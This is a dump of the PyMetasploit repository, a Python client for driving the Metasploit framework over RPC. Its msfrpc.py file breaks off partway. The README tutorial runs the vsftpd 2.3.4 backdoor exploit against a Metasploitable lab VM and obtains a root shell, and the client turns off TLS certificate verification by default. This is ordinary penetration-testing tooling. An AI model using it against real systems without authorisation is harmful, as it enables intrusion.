├── src ├── metasploit │ ├── __init__.py │ ├── utils.py │ ├── msfconsole.py │ └── msfrpc.py └── scripts │ ├── pymsfrpc │ └── pymsfconsole ├── setup.py ├── .gitignore └── README.md /src/metasploit/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | __author__ = 'Nadeem Douba' 4 | __copyright__ = 'Copyright 2021, PyMetasploit Project' 5 | __credits__ = [] 6 | 7 | __license__ = 'GPL' 8 | __version__ = '2.0' 9 | __maintainer__ = 'Nadeem Douba' 10 | __email__ = 'ndouba@gmail.com' 11 | __status__ = 'Development' 12 | 13 | __all__ = [ 14 | 'msfconsole', 15 | 'msfrpc', 16 | 'utils' 17 | ] -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from setuptools import setup, find_packages 4 | from os import path 5 | 6 | def read(fname): 7 | return open(path.join(path.dirname(__file__), fname)).read() 8 | 9 | setup( 10 | name='pymetasploit', 11 | author='Nadeem Douba', 12 | version='2.0', 13 | author_email='ndouba@gmail.com', 14 | description='A full-fledged msfrpc library for Metasploit framework.', 15 | license='GPL', 16 | packages=find_packages('src'), 17 | package_dir={ '' : 'src' }, 18 | scripts=[ 19 | 'src/scripts/pymsfconsole', 20 | 'src/scripts/pymsfrpc' 21 | ], 22 | install_requires=[ 23 | 'msgpack-python>=0.1.12' 24 | ], 25 | url='https://github.com/allfro/pymetasploit', 26 | download_url='https://github.com/allfro/pymetasploit/zipball/master', 27 | long_description=read('README') 28 | ) 29 | -------------------------------------------------------------------------------- /src/metasploit/utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from optparse import OptionParser 4 | 5 | __author__ = 'Nadeem Douba' 6 | __copyright__ = 'Copyright 2021, PyMetasploit Project' 7 | __credits__ = [] 8 | 9 | __license__ = 'GPL' 10 | __version__ = '2.0' 11 | __maintainer__ = 'Nadeem Douba' 12 | __email__ = 'ndouba@gmail.com' 13 | __status__ = 'Development' 14 | 15 | __all__ = [ 16 | 'parseargs' 17 | ] 18 | 19 | 20 | def parseargs(): 21 | p = OptionParser() 22 | p.add_option("-P", dest="password", help="Specify the password to access msfrpcd", metavar="opt") 23 | p.add_option("-S", dest="ssl", help="Disable SSL on the RPC socket", action="store_false", default=True) 24 | p.add_option("-U", dest="username", help="Specify the username to access msfrpcd", metavar="opt", default="msf") 25 | p.add_option("-a", dest="server", help="Connect to this IP address", metavar="host", default="127.0.0.1") 26 | p.add_option("-p", dest="port", help="Connect to the specified port instead of 55553", metavar="opt", default=55553) 27 | o, a = p.parse_args() 28 | if o.password is None: 29 | print('[-] Error: a password must be specified (-P)\n') 30 | p.print_help() 31 | exit(-1) 32 | return o -------------------------------------------------------------------------------- /src/scripts/pymsfrpc: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from code import InteractiveConsole 4 | from atexit import register 5 | from os import path 6 | import readline 7 | 8 | from metasploit.msfrpc import MsfRpcClient, MsfRpcError 9 | from metasploit.utils import parseargs 10 | 11 | __author__ = 'Nadeem Douba' 12 | __copyright__ = 'Copyright 2021, PyMetasploit Project' 13 | __credits__ = [] 14 | 15 | __license__ = 'GPL' 16 | __version__ = '2.0' 17 | __maintainer__ = 'Nadeem Douba' 18 | __email__ = 'ndouba@cygnos.com' 19 | __status__ = 'Development' 20 | 21 | 22 | class MsfRpc(InteractiveConsole): 23 | def __init__(self, password, **kwargs): 24 | self.client = MsfRpcClient(password, **kwargs) 25 | InteractiveConsole.__init__(self, {'rpc' : self.client}, '') 26 | self.init_history(path.expanduser('~/.msfrpc_history')) 27 | 28 | def init_history(self, histfile): 29 | readline.parse_and_bind('tab: complete') 30 | if hasattr(readline, "read_history_file"): 31 | try: 32 | readline.read_history_file(histfile) 33 | except IOError: 34 | pass 35 | register(self.save_history, histfile) 36 | 37 | def save_history(self, histfile): 38 | readline.write_history_file(histfile) 39 | 40 | 41 | if __name__ == '__main__': 42 | o = parseargs() 43 | try: 44 | m = MsfRpc(o.__dict__.pop('password'), **o.__dict__) 45 | m.interact('') 46 | except MsfRpcError as m: 47 | print(str(m)) 48 | exit(-1) 49 | exit(0) 50 | -------------------------------------------------------------------------------- /src/scripts/pymsfconsole: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from code import InteractiveConsole 4 | from atexit import register 5 | from sys import stdout 6 | from os import path 7 | import readline 8 | 9 | from metasploit.msfrpc import MsfRpcClient, MsfRpcError 10 | from metasploit.msfconsole import MsfRpcConsole 11 | from metasploit.utils import parseargs 12 | 13 | __author__ = 'Nadeem Douba' 14 | __copyright__ = 'Copyright 2021, PyMetasploit Project' 15 | __credits__ = [] 16 | 17 | __license__ = 'GPL' 18 | __version__ = '2.0' 19 | __maintainer__ = 'Nadeem Douba' 20 | __email__ = 'ndouba@cygnos.com' 21 | __status__ = 'Development' 22 | 23 | 24 | class MsfConsole(InteractiveConsole): 25 | 26 | def __init__(self, password, **kwargs): 27 | self.fl = True 28 | self.client = MsfRpcConsole(MsfRpcClient(password, **kwargs), cb=self.callback) 29 | InteractiveConsole.__init__(self, {'rpc': self.client}) 30 | self.init_history(path.expanduser('~/.msfconsole_history')) 31 | 32 | def raw_input(self, prompt): 33 | line = InteractiveConsole.raw_input(self, prompt=self.client.prompt) 34 | return "rpc.execute('%s')" % line.replace("'", r"\'") 35 | 36 | def init_history(self, histfile): 37 | readline.parse_and_bind('tab: complete') 38 | if hasattr(readline, "read_history_file"): 39 | try: 40 | readline.read_history_file(histfile) 41 | except IOError: 42 | pass 43 | register(self.save_history, histfile) 44 | 45 | def save_history(self, histfile): 46 | readline.write_history_file(histfile) 47 | del self.client 48 | print('bye!') 49 | 50 | def callback(self, d): 51 | stdout.write('\n%s' % d['data']) 52 | if not self.fl: 53 | stdout.write('\n%s' % d['prompt']) 54 | stdout.flush() 55 | else: 56 | self.fl = False 57 | 58 | 59 | if __name__ == '__main__': 60 | o = parseargs() 61 | try: 62 | m = MsfConsole(o.__dict__.pop('password'), **o.__dict__) 63 | m.interact('') 64 | except MsfRpcError as m: 65 | print(str(m)) 66 | exit(-1) 67 | exit(0) 68 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Source: https://github.com/github/gitignore/blob/master/Python.gitignore 2 | 3 | # Byte-compiled / optimized / DLL files 4 | __pycache__/ 5 | *.py[cod] 6 | *$py.class 7 | 8 | # C extensions 9 | *.so 10 | 11 | # Distribution / packaging 12 | .Python 13 | build/ 14 | develop-eggs/ 15 | dist/ 16 | downloads/ 17 | eggs/ 18 | .eggs/ 19 | lib/ 20 | lib64/ 21 | parts/ 22 | sdist/ 23 | var/ 24 | wheels/ 25 | share/python-wheels/ 26 | *.egg-info/ 27 | .installed.cfg 28 | *.egg 29 | MANIFEST 30 | 31 | # PyInstaller 32 | # Usually these files are written by a python script from a template 33 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 34 | *.manifest 35 | *.spec 36 | 37 | # Installer logs 38 | pip-log.txt 39 | pip-delete-this-directory.txt 40 | 41 | # Unit test / coverage reports 42 | htmlcov/ 43 | .tox/ 44 | .nox/ 45 | .coverage 46 | .coverage.* 47 | .cache 48 | nosetests.xml 49 | coverage.xml 50 | *.cover 51 | *.py,cover 52 | .hypothesis/ 53 | .pytest_cache/ 54 | cover/ 55 | 56 | # Translations 57 | *.mo 58 | *.pot 59 | 60 | # Django stuff: 61 | *.log 62 | local_settings.py 63 | db.sqlite3 64 | db.sqlite3-journal 65 | 66 | # Flask stuff: 67 | instance/ 68 | .webassets-cache 69 | 70 | # Scrapy stuff: 71 | .scrapy 72 | 73 | # Sphinx documentation 74 | docs/_build/ 75 | 76 | # PyBuilder 77 | .pybuilder/ 78 | target/ 79 | 80 | # Jupyter Notebook 81 | .ipynb_checkpoints 82 | 83 | # IPython 84 | profile_default/ 85 | ipython_config.py 86 | 87 | # pyenv 88 | # For a library or package, you might want to ignore these files since the code is 89 | # intended to run in multiple environments; otherwise, check them in: 90 | # .python-version 91 | 92 | # pipenv 93 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 94 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 95 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 96 | # install all needed dependencies. 97 | #Pipfile.lock 98 | 99 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 100 | __pypackages__/ 101 | 102 | # Celery stuff 103 | celerybeat-schedule 104 | celerybeat.pid 105 | 106 | # SageMath parsed files 107 | *.sage.py 108 | 109 | # Environments 110 | .env 111 | .venv 112 | env/ 113 | venv/ 114 | ENV/ 115 | env.bak/ 116 | venv.bak/ 117 | 118 | # Spyder project settings 119 | .spyderproject 120 | .spyproject 121 | 122 | # Rope project settings 123 | .ropeproject 124 | 125 | # mkdocs documentation 126 | /site 127 | 128 | # mypy 129 | .mypy_cache/ 130 | .dmypy.json 131 | dmypy.json 132 | 133 | # Pyre type checker 134 | .pyre/ 135 | 136 | # pytype static type analyzer 137 | .pytype/ 138 | 139 | # Cython debug symbols 140 | cython_debug/ 141 | 142 | # JetBrains settings 143 | .idea/ 144 | 145 | # Any file labeled as a backup 146 | *.bak 147 | -------------------------------------------------------------------------------- /src/metasploit/msfconsole.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from threading import Timer, Lock 4 | from .msfrpc import ShellSession 5 | 6 | __author__ = 'Nadeem Douba' 7 | __copyright__ = 'Copyright 2021, PyMetasploit Project' 8 | __credits__ = [] 9 | 10 | __license__ = 'GPL' 11 | __version__ = '2.0' 12 | __maintainer__ = 'Nadeem Douba' 13 | __email__ = 'ndouba@cygnos.com' 14 | __status__ = 'Development' 15 | 16 | __all__ = [ 17 | 'MsfRpcConsole' 18 | ] 19 | 20 | 21 | class MsfRpcConsoleType: 22 | Console = 0 23 | Meterpreter = 1 24 | Shell = 2 25 | 26 | 27 | class MsfRpcConsole(object): 28 | 29 | def __init__(self, rpc, sessionid=None, cb=None): 30 | """ 31 | Emulates the msfconsole in msf except over RPC. 32 | 33 | Mandatory Arguments: 34 | - rpc : an msfrpc client object 35 | 36 | Optional Arguments: 37 | - cb : a callback function that gets called when data is received from the console. 38 | """ 39 | 40 | self.callback = cb 41 | 42 | if sessionid is not None: 43 | self.console = rpc.sessions.session(sessionid) 44 | self.type_ = MsfRpcConsoleType.Shell if isinstance(self.console, ShellSession) else MsfRpcConsoleType.Meterpreter 45 | self.prompt = '>>> ' 46 | self.callback(dict(data='', prompt=self.prompt)) 47 | else: 48 | self.console = rpc.consoles.console() 49 | self.type_ = MsfRpcConsoleType.Console 50 | self.prompt = '' 51 | 52 | self.lock = Lock() 53 | self.running = True 54 | self._poller() 55 | 56 | def _poller(self): 57 | self.lock.acquire() 58 | if not self.running: 59 | return 60 | d = self.console.read() 61 | self.lock.release() 62 | 63 | if self.type_ == MsfRpcConsoleType.Console: 64 | if d['data'] or self.prompt != d['prompt']: 65 | self.prompt = d['prompt'] 66 | if self.callback is not None: 67 | self.callback(d) 68 | else: 69 | print(d['data']) 70 | else: 71 | if d: 72 | if self.callback is not None: 73 | self.callback(dict(data=d, prompt=self.prompt)) 74 | else: 75 | print(d) 76 | Timer(0.5, self._poller).start() 77 | 78 | def execute(self, command): 79 | """ 80 | Execute a command on the console. 81 | 82 | Mandatory Arguments: 83 | - command : the command to execute 84 | """ 85 | if not command.endswith('\n'): 86 | command += '\n' 87 | self.lock.acquire() 88 | self.console.write(command) 89 | self.lock.release() 90 | 91 | def __del__(self): 92 | self.lock.acquire() 93 | if self.type_ == MsfRpcConsoleType.Console: 94 | self.console.destroy() 95 | self.running = False 96 | self.lock.release() 97 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | PyMetasploit - a full-fledged msfrpc library for Python 2 | ------------------------------------------------------- 3 | 4 | PyMetasploit is a full-fledged `msfrpc` library for Python. It is meant to interact with the msfrpcd daemon that comes 5 | with the latest versions of Metasploit. It does NOT interact with the console-based scripts that Metasploit provides 6 | such as msfconsole, msfvenom, etc. Therefore, before you can begin to use this library, you'll need to initialize 7 | `msfrpcd` and optionally (highly recommended) PostgreSQL. 8 | 9 | # Requirements 10 | 11 | Before we begin, you'll need to install the following components: 12 | 13 | * **Metasploit:** https://github.com/rapid7/metasploit-framework 14 | * **PostgreSQL (Optional):** http://www.postgresql.org 15 | 16 | Installing PostgreSQL is highly recommended as it will improve response times when querying `msfrpcd` (Metasploit RPC 17 | daemon) for module information. 18 | 19 | # Tutorial 20 | 21 | ## Starting `msfrpcd` 22 | 23 | `msfrpcd` accepts the following arguments: 24 | 25 | ```bash 26 | $ ./msfrpcd -h 27 | 28 | Usage: msfrpcd 29 | 30 | OPTIONS: 31 | 32 | -P Specify the password to access msfrpcd 33 | -S Disable SSL on the RPC socket 34 | -U Specify the username to access msfrpcd 35 | -a Bind to this IP address 36 | -f Run the daemon in the foreground 37 | -h Help banner 38 | -n Disable database 39 | -p Bind to this port instead of 55553 40 | -u URI for Web server 41 | ``` 42 | 43 | The only parameter that is required to launch `msfrpcd` is the `-P` (password) parameter. This specifies the password 44 | that will be used to authenticate users to the daemon. As of this writing, `msfrpcd` only supports one username/password 45 | combination. However, the same user can log into the daemon multiple times. Unless specified otherwise, the `msfrpcd` 46 | daemon listens on port 55553 on all interfaces (`0.0.0.0:55553`). 47 | 48 | For the purposes of this tutorial let's start the `msfrpcd` daemon with a minimal configuration: 49 | 50 | ```bash 51 | $ ./msfrpcd -P mypassword -n -f -a 127.0.0.1 52 | [*] MSGRPC starting on 0.0.0.0:55553 (SSL):Msg... 53 | [*] MSGRPC ready at 2014-04-19 23:49:39 -0400. 54 | ``` 55 | 56 | The `-f` parameter tells `msfrpcd` to remain in the foreground and the `-n` parameter disables database support. 57 | Finally, the `-a` parameter tells `msfrcpd` to listen for requests only on the local loopback interface (`127.0.0.1`). 58 | 59 | ## `MsfRpcClient` - Brief Overview 60 | 61 | ### Connecting to `msfrpcd` 62 | 63 | Let's get started interacting with the Metasploit framework from python: 64 | 65 | ```python 66 | >>> from metasploit.msfrpc import MsfRpcClient 67 | >>> client = MsfRpcClient('mypassword') 68 | ``` 69 | 70 | The `MsfRpcClient` class provides the core functionality to navigate through the Metasploit framework. Let's take a 71 | look at its underbelly: 72 | 73 | ```python 74 | >>> [m for m in dir(client) if not m.startswith('_')] 75 | ['auth', 'authenticated', 'call', 'client', 'consoles', 'core', 'db', 'jobs', 'login', 'logout', 'modules', 'plugins', 76 | 'port', 'server', 'sessionid', 'sessions', 'ssl', 'uri'] 77 | >>> 78 | ``` 79 | 80 | Like the metasploit framework, `MsfRpcClient` is segmented into different management modules: 81 | 82 | * **`auth`**: manages the authentication of clients for the `msfrpcd` daemon. 83 | * **`consoles`**: manages interaction with consoles/shells created by Metasploit modules. 84 | * **`core`**: manages the Metasploit framework core. 85 | * **`db`**: manages the backend database connectivity for `msfrpcd`. 86 | * **`modules`**: manages the interaction and configuration of Metasploit modules (i.e. exploits, auxiliaries, etc.) 87 | * **`plugins`**: manages the plugins associated with the Metasploit core. 88 | * **`sessions`**: manages the interaction with Metasploit meterpreter sessions. 89 | 90 | ### Running an Exploit 91 | 92 | Just like the Metasploit console, you can retrieve a list of all the modules that are available. Let's take a look at 93 | what exploits are currently loaded: 94 | 95 | ```python 96 | >>> client.modules.exploits 97 | ['windows/wins/ms04_045_wins', 'windows/winrm/winrm_script_exec', 'windows/vpn/safenet_ike_11', 98 | 'windows/vnc/winvnc_http_get', 'windows/vnc/ultravnc_viewer_bof', 'windows/vnc/ultravnc_client', ... 99 | 'aix/rpc_ttdbserverd_realpath', 'aix/rpc_cmsd_opcode21'] 100 | >>> 101 | ``` 102 | 103 | We can also retrieve a list of `auxiliary`, `encoders`, `nops`, `payloads`, and `post` modules using the same syntax: 104 | 105 | ```python 106 | >>> client.modules.auxiliary 107 | ... 108 | >>> client.modules.encoders 109 | ... 110 | >>> client.modules.nops 111 | ... 112 | >>> client.modules.payloads 113 | ... 114 | >>> client.modules.post 115 | ... 116 | ``` 117 | 118 | Now let's interact with one of the `exploit` modules: 119 | 120 | ```python 121 | >>> exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor') 122 | >>> 123 | ``` 124 | 125 | If all is well at this point, you will be able to query the module for various pieces of information such as author, 126 | description, required run-time options, etc. Let's take a look: 127 | 128 | ```python 129 | >>> print exploit.description 130 | 131 | This module exploits a malicious backdoor that was added to the VSFTPD download 132 | archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between 133 | June 30th 2011 and July 1st 2011 according to the most recent information 134 | available. This backdoor was removed on July 3rd 2011. 135 | 136 | >>> exploit.authors 137 | ['hdm ', 'MC '] 138 | >>> exploit.options 139 | ['TCP::send_delay', 'ConnectTimeout', 'SSLVersion', 'VERBOSE', 'SSLCipher', 'CPORT', 'SSLVerifyMode', 'SSL', 'WfsDelay', 140 | 'CHOST', 'ContextInformationFile', 'WORKSPACE', 'EnableContextEncoding', 'TCP::max_send_size', 'Proxies', 141 | 'DisablePayloadHandler', 'RPORT', 'RHOST'] 142 | >>> exploit.required # Required options 143 | ['ConnectTimeout', 'RPORT', 'RHOST'] 144 | ``` 145 | 146 | That's all fine and dandy but you're probably really itching to pop a box with this library right now, amiright!? Let's 147 | do it! Let's use a [Metasploitable 2](http://sourceforge.net/projects/metasploitable/) instance running on a VMWare 148 | machine as our target. Luckily it's running our favorite version of vsFTPd - 2.3.4 - and we already have our exploit 149 | module loaded in PyMetasploit. Our next step is to specify our target: 150 | 151 | ```python 152 | >>> exploit['RHOST'] = '172.16.14.145' # IP of our target host 153 | >>> 154 | ``` 155 | 156 | You can also specify or retrieve other options as well, as long as they're listed in `exploit.options`, using the same 157 | method as shown above. For example, let's get and set the `VERBOSE` option: 158 | 159 | ```python 160 | >>> exploit['VERBOSE'] 161 | False 162 | >>> exploit['VERBOSE'] = True 163 | >>> exploit['VERBOSE'] 164 | True 165 | >>> 166 | ``` 167 | 168 | Awesome! So now we're ready to execute our exploit. All we need to do is select a payload: 169 | 170 | ```python 171 | >>> exploit.payloads 172 | ['cmd/unix/interact'] 173 | >>> 174 | ``` 175 | 176 | At this point, this exploit only supports one payload (`cmd/unix/interact`). So let's pop a shell: 177 | 178 | ```python 179 | >>> exploit.execute(payload='cmd/unix/interact') 180 | {'job_id': 1, 'uuid': '3whbuevf'} 181 | >>> 182 | ``` 183 | 184 | Excellent! It looks like our exploit ran successfully. How can we tell? The `job_id` key contains a number. If the 185 | module failed to execute for any reason, `job_id` would be `None`. For long running modules, you may want to poll the 186 | job list by checking `client.jobs.list`. Since this is a fairly quick exploit, the job list will most likely be empty 187 | and if we managed to pop our box, we might see something nice in the sessions list: 188 | 189 | ```python 190 | >>> client.sessions.list 191 | {1: {'info': '', 'username': 'ndouba', 'session_port': 21, 'via_payload': 'payload/cmd/unix/interact', 192 | 'uuid': '5orqnnyv', 'tunnel_local': '172.16.14.1:58429', 'via_exploit': 'exploit/unix/ftp/vsftpd_234_backdoor', 193 | 'exploit_uuid': '3whbuevf', 'tunnel_peer': '172.16.14.145:6200', 'workspace': 'false', 'routes': '', 194 | 'target_host': '172.16.14.145', 'type': 'shell', 'session_host': '172.16.14.145', 'desc': 'Command shell'}} 195 | >>> 196 | ``` 197 | 198 | Success! We managed to pop the box! `client.sessions.list` shows us that we have a live session with the same `uuid` as 199 | the one we received when executing the module earlier (`exploit.execute()`). Let's interact with the shell: 200 | 201 | ```python 202 | >>> shell = client.sessions.session(1) 203 | >>> shell.write('whoami\n') 204 | >>> print shell.read() 205 | root 206 | >>> # Happy dance! 207 | ``` 208 | 209 | This is just a sample of how powerful PyMetasploit can be. Use your powers wisely, Grasshopper, because with great power 210 | comes great responsibility – unless you are a banker. 211 | 212 | # Questions? 213 | 214 | Email me at ndouba.at.gmail.com 215 | -------------------------------------------------------------------------------- /src/metasploit/msfrpc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from http.client import HTTPConnection, HTTPSConnection 4 | import ssl 5 | from numbers import Number 6 | 7 | from msgpack import packb, unpackb 8 | 9 | __author__ = 'Nadeem Douba' 10 | __copyright__ = 'Copyright 2021, PyMetasploit Project' 11 | __credits__ = [] 12 | 13 | __license__ = 'GPL' 14 | __version__ = '2.0' 15 | __maintainer__ = 'Nadeem Douba' 16 | __email__ = 'ndouba@gmail.com' 17 | __status__ = 'Development' 18 | 19 | __all__ = [ 20 | 'MsfRpcError', 21 | 'MsfRpcMethod', 22 | 'MsfPlugins', 23 | 'MsfRpcClient', 24 | 'MsfTable', 25 | 'NotesTable', 26 | 'LootsTable', 27 | 'CredsTable', 28 | 'AuthInfoTable', 29 | 'HostsTable', 30 | 'ServicesTable', 31 | 'VulnsTable', 32 | 'EventsTable', 33 | 'ClientsTable', 34 | 'Workspace', 35 | 'MsfManager', 36 | 'WorkspaceManager', 37 | 'DbManager', 38 | 'AuthManager', 39 | 'PluginManager', 40 | 'JobManager', 41 | 'CoreManager', 42 | 'MsfModule', 43 | 'ExploitModule', 44 | 'PostModule', 45 | 'EncoderModule', 46 | 'AuxiliaryModule', 47 | 'PayloadModule', 48 | 'NopModule', 49 | 'ModuleManager', 50 | 'MsfSession', 51 | 'MeterpreterSession', 52 | 'ShellSession', 53 | 'SessionManager', 54 | 'MsfConsole', 55 | 'ConsoleManager', 56 | ] 57 | 58 | 59 | class MsfRpcError(Exception): 60 | pass 61 | 62 | 63 | class MsfRpcMethod(object): 64 | AuthLogin = 'auth.login' 65 | AuthLogout = 'auth.logout' 66 | AuthTokenList = 'auth.token_list' 67 | AuthTokenAdd = 'auth.token_add' 68 | AuthTokenGenerate = 'auth.token_generate' 69 | AuthTokenRemove = 'auth.token_remove' 70 | ConsoleCreate = 'console.create' 71 | ConsoleList = 'console.list' 72 | ConsoleDestroy = 'console.destroy' 73 | ConsoleRead = 'console.read' 74 | ConsoleWrite = 'console.write' 75 | ConsoleTabs = 'console.tabs' 76 | ConsoleSessionKill = 'console.session_kill' 77 | ConsoleSessionDetach = 'console.session_detach' 78 | CoreVersion = 'core.version' 79 | CoreStop = 'core.stop' 80 | CoreSetG = 'core.setg' 81 | CoreUnsetG = 'core.unsetg' 82 | CoreSave = 'core.save' 83 | CoreReloadModules = 'core.reload_modules' 84 | CoreModuleStats = 'core.module_stats' 85 | CoreAddModulePath = 'core.add_module_path' 86 | CoreThreadList = 'core.thread_list' 87 | CoreThreadKill = 'core.thread_kill' 88 | DbHosts = 'db.hosts' 89 | DbServices = 'db.services' 90 | DbVulns = 'db.vulns' 91 | DbWorkspaces = 'db.workspaces' 92 | DbCurrentWorkspace = 'db.current_workspace' 93 | DbGetWorkspace = 'db.get_workspace' 94 | DbSetWorkspace = 'db.set_workspace' 95 | DbDelWorkspace = 'db.del_workspace' 96 | DbAddWorkspace = 'db.add_workspace' 97 | DbGetHost = 'db.get_host' 98 | DbReportHost = 'db.report_host' 99 | DbReportService = 'db.report_service' 100 | DbGetService = 'db.get_service' 101 | DbGetNote = 'db.get_note' 102 | DbGetClient = 'db.get_client' 103 | DbReportClient = 'db.report_client' 104 | DbReportNote = 'db.report_note' 105 | DbNotes = 'db.notes' 106 | DbReportAuthInfo = 'db.report_auth_info' 107 | DbGetAuthInfo = 'db.get_auth_info' 108 | DbGetRef = 'db.get_ref' 109 | DbDelVuln = 'db.del_vuln' 110 | DbDelNote = 'db.del_note' 111 | DbDelService = 'db.del_service' 112 | DbDelHost = 'db.del_host' 113 | DbReportVuln = 'db.report_vuln' 114 | DbEvents = 'db.events' 115 | DbReportEvent = 'db.report_event' 116 | DbReportLoot = 'db.report_loot' 117 | DbLoots = 'db.loots' 118 | DbReportCred = 'db.report_cred' 119 | DbCreds = 'db.creds' 120 | DbImportData = 'db.import_data' 121 | DbGetVuln = 'db.get_vuln' 122 | DbClients = 'db.clients' 123 | DbDelClient = 'db.del_client' 124 | DbDriver = 'db.driver' 125 | DbConnect = 'db.connect' 126 | DbStatus = 'db.status' 127 | DbDisconnect = 'db.disconnect' 128 | JobList = 'job.list' 129 | JobStop = 'job.stop' 130 | JobInfo = 'job.info' 131 | ModuleExploits = 'module.exploits' 132 | ModuleAuxiliary = 'module.auxiliary' 133 | ModulePayloads = 'module.payloads' 134 | ModuleEncoders = 'module.encoders' 135 | ModuleNops = 'module.nops' 136 | ModulePost = 'module.post' 137 | ModuleInfo = 'module.info' 138 | ModuleCompatiblePayloads = 'module.compatible_payloads' 139 | ModuleCompatibleSessions = 'module.compatible_sessions' 140 | ModuleTargetCompatiblePayloads = 'module.target_compatible_payloads' 141 | ModuleOptions = 'module.options' 142 | ModuleExecute = 'module.execute' 143 | ModuleEncodeFormats = 'module.encode_formats' 144 | ModuleEncode = 'module.encode' 145 | PluginLoad = 'plugin.load' 146 | PluginUnload = 'plugin.unload' 147 | PluginLoaded = 'plugin.loaded' 148 | SessionList = 'session.list' 149 | SessionStop = 'session.stop' 150 | SessionShellRead = 'session.shell_read' 151 | SessionShellWrite = 'session.shell_write' 152 | SessionShellUpgrade = 'session.shell_upgrade' 153 | SessionMeterpreterRead = 'session.meterpreter_read' 154 | SessionRingRead = 'session.ring_read' 155 | SessionRingPut = 'session.ring_put' 156 | SessionRingLast = 'session.ring_last' 157 | SessionRingClear = 'session.ring_clear' 158 | SessionMeterpreterWrite = 'session.meterpreter_write' 159 | SessionMeterpreterSessionDetach = 'session.meterpreter_session_detach' 160 | SessionMeterpreterSessionKill = 'session.meterpreter_session_kill' 161 | SessionMeterpreterTabs = 'session.meterpreter_tabs' 162 | SessionMeterpreterRunSingle = 'session.meterpreter_run_single' 163 | SessionMeterpreterScript = 'session.meterpreter_script' 164 | SessionMeterpreterDirectorySeparator = 'session.meterpreter_directory_separator' 165 | SessionCompatibleModules = 'session.compatible_modules' 166 | 167 | 168 | class MsfPlugins(object): 169 | IpsFilter = "ips_filter" 170 | SocketLogger = "socket_logger" 171 | DbTracker = "db_tracker" 172 | Sounds = "sounds" 173 | AutoAddRoute = "auto_add_route" 174 | DbCredCollect = "db_credcollect" 175 | 176 | 177 | class MsfRpcClient(object): 178 | 179 | _headers = { 180 | 'Content-Type' : 'binary/message-pack' 181 | } 182 | 183 | def __init__(self, password, **kwargs): 184 | """ 185 | Connects and authenticates to a Metasploit RPC daemon. 186 | 187 | Mandatory Arguments: 188 | - password : the password used to authenticate to msfrpcd 189 | 190 | Optional Keyword Arguments: 191 | - username : the username used to authenticate to msfrpcd (default: msf) 192 | - uri : the msfrpcd URI (default: /api/) 193 | - port : the remote msfrpcd port to connect to (default: 55553) 194 | - server : the remote server IP address hosting msfrpcd (default: localhost) 195 | - ssl : if true uses SSL else regular HTTP (default: SSL enabled) 196 | - verify : if true, verify SSL cert when using SSL (default: False) 197 | """ 198 | self.uri = kwargs.get('uri', '/api/') 199 | self.port = kwargs.get('port', 55553) 200 | self.server = kwargs.get('server', '127.0.0.1') 201 | self.ssl = kwargs.get('ssl', True) 202 | self.verify_ssl = kwargs.get('verify', False) 203 | self.sessionid = kwargs.get('token') 204 | if self.ssl: 205 | if self.verify_ssl: 206 | self.client = HTTPSConnection(self.server, self.port) 207 | else: 208 | self.client = HTTPSConnection(self.server, self.port, context=ssl._create_unverified_context()) 209 | else: 210 | self.client = HTTPConnection(self.server, self.port) 211 | self.login(kwargs.get('username', 'msf'), password) 212 | 213 | def call(self, method, *args): 214 | """ 215 | Builds an RPC request and retrieves the result. 216 | 217 | Mandatory Arguments: 218 | - method : the RPC call method name (e.g. db.clients) 219 | 220 | Optional Arguments: 221 | - *args : the RPC method's parameters if necessary 222 | 223 | Returns : RPC call result 224 | """ 225 | l = [ method ] 226 | l.extend(args) 227 | if method == MsfRpcMethod.AuthLogin: 228 | self.client.request('POST', self.uri, packb(l), self._headers) 229 | r = self.client.getresponse() 230 | if r.status == 200: 231 | return unpackb(r.read()) 232 | raise MsfRpcError('An unknown error has occurred while logging in.') 233 | elif self.authenticated: 234 | l.insert(1, self.sessionid) 235 | self.client.request('POST', self.uri, packb(l), self._headers) 236 | r = self.client.getresponse() 237 | if r.status == 200: 238 | result = unpackb(r.read()) 239 | if 'error' in result: 240 | raise MsfRpcError(result['error_message']) 241 | return result 242 | raise MsfRpcError('An unknown error has occurred while performing the RPC call.') 243 | raise MsfRpcError('You cannot perform this call because you are not authenticated.') 244 | 245 | @property 246 | def core(self): 247 | """ 248 | The msf RPC core manager. 249 | """ 250 | return CoreManager(self) 251 | 252 | @property 253 | def modules(self): 254 | """ 255 | The msf RPC modules RPC manager. 256 | """ 257 | return ModuleManager(self) 258 | 259 | @property 260 | def sessions(self): 261 | """ 262 | The msf RPC sessions (meterpreter & shell) manager. 263 | """ 264 | return SessionManager(self) 265 | 266 | @property 267 | def jobs(self): 268 | """ 269 | The msf RPC jobs manager. 270 | """ 271 | return JobManager(self) 272 | 273 | @property 274 | def consoles(self): 275 | """ 276 | The msf RPC consoles manager 277 | """ 278 | return ConsoleManager(self) 279 | 280 | @property 281 | def authenticated(self): 282 | """ 283 | Whether or not this client is authenticated. 284 | """ 285 | return self.sessionid is not None 286 | 287 | @property 288 | def plugins(self): 289 | """ 290 | The msf RPC plugins manager. 291 | """ 292 | return PluginManager(self) 293 | 294 | @property 295 | def db(self): 296 | """ 297 | The msf RPC database manager. 298 | """ 299 | return DbManager(self) 300 | 301 | @property 302 | def auth(self): 303 | """ 304 | The msf authentication manager. 305 | """ 306 | return AuthManager(self) 307 | 308 | def login(self, username, password): 309 | """ 310 | Authenticates and reauthenticates the user to msfrpcd. 311 | """ 312 | if self.sessionid is None: 313 | r = self.call(MsfRpcMethod.AuthLogin, username, password) 314 | try: 315 | if r['result'] == 